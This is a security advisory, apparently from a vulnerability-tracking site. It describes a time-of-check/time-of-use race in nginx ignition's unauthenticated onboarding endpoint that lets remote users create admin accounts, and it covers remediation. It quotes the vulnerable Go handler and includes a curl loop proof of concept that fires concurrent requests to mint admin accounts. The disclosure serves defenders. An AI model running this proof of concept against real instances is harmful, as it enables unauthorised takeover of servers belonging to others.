nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
Summary
POST /api/users/onboarding/finish is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.
Affected component
- Endpoint:
POST /api/users/onboarding/finish - Route registration:
api/user/routes.go:49→authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish") - Handler:
api/user/onboarding_finish_handler.go
Technical details
The route is explicitly allowed without authentication:
1// api/user/routes.go:48-49 2authorizer.AllowAnonymous(http.MethodGet, "/api/users/onboarding/status") 3authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:
1// api/user/onboarding_finish_handler.go 2func (h onboardingFinishHandler) handle(ctx *gin.Context) { 3 alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context()) // (1) CHECK 4 if err != nil { panic(err) } 5 if alreadyFinished { 6 ctx.Status(http.StatusForbidden) 7 return 8 } 9 10 requestPayload := &userRequestDTO{}11 if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }12 13 domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)14 domainModel.ID = uuid.New()15 domainModel.Enabled = true16 domainModel.Permissions = user.Permissions{ // full admin17 Hosts: user.ReadWriteAccessLevel,18 Streams: user.ReadWriteAccessLevel,19 Certificates: user.ReadWriteAccessLevel,20 Integrations: user.ReadWriteAccessLevel,21 AccessLists: user.ReadWriteAccessLevel,22 Settings: user.ReadWriteAccessLevel,23 Users: user.ReadWriteAccessLevel,24 NginxServer: user.ReadWriteAccessLevel,25 Caches: user.ReadWriteAccessLevel,26 // ...all remaining permissions ReadWrite/ReadOnly27 }28 29 if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil { // (2) ACT30 panic(err)31 }32 // ...authenticates and returns a JWT for the new admin33}The gap between (1) OnboardingCompleted() and (2) Save() is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the alreadyFinished == false check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.
Preconditions (stated honestly)
This is exploitable when the instance is in a pre-onboarding state:
- Fresh deployment — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in alongside the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.
- State reset — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.
The single-request path is a setup-window exposure; the race is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.
Proof of concept
Against an instance that has not yet completed onboarding:
1# Fire concurrent onboarding-finish requests; multiple admin accounts are created, 2# each returning a valid admin JWT, despite the single-admin intent. 3for i in $(seq 1 20); do 4 curl -s -X POST http://TARGET/api/users/onboarding/finish \ 5 -H 'Content-Type: application/json' \ 6 -d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \ 7 -o /dev/null -w "%{http_code}\n" & 8done 9wait10# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.Each 200 response body contains a userLoginResponseDTO with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.
Impact
- Unauthenticated administrative account takeover of a fresh (or reset) instance.
- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)
- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.
Remediation
- Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.
- Re-check
OnboardingCompleted()inside the same transaction that performs the insert, and abort on conflict. - Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.
Finding ID: GM-4607
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…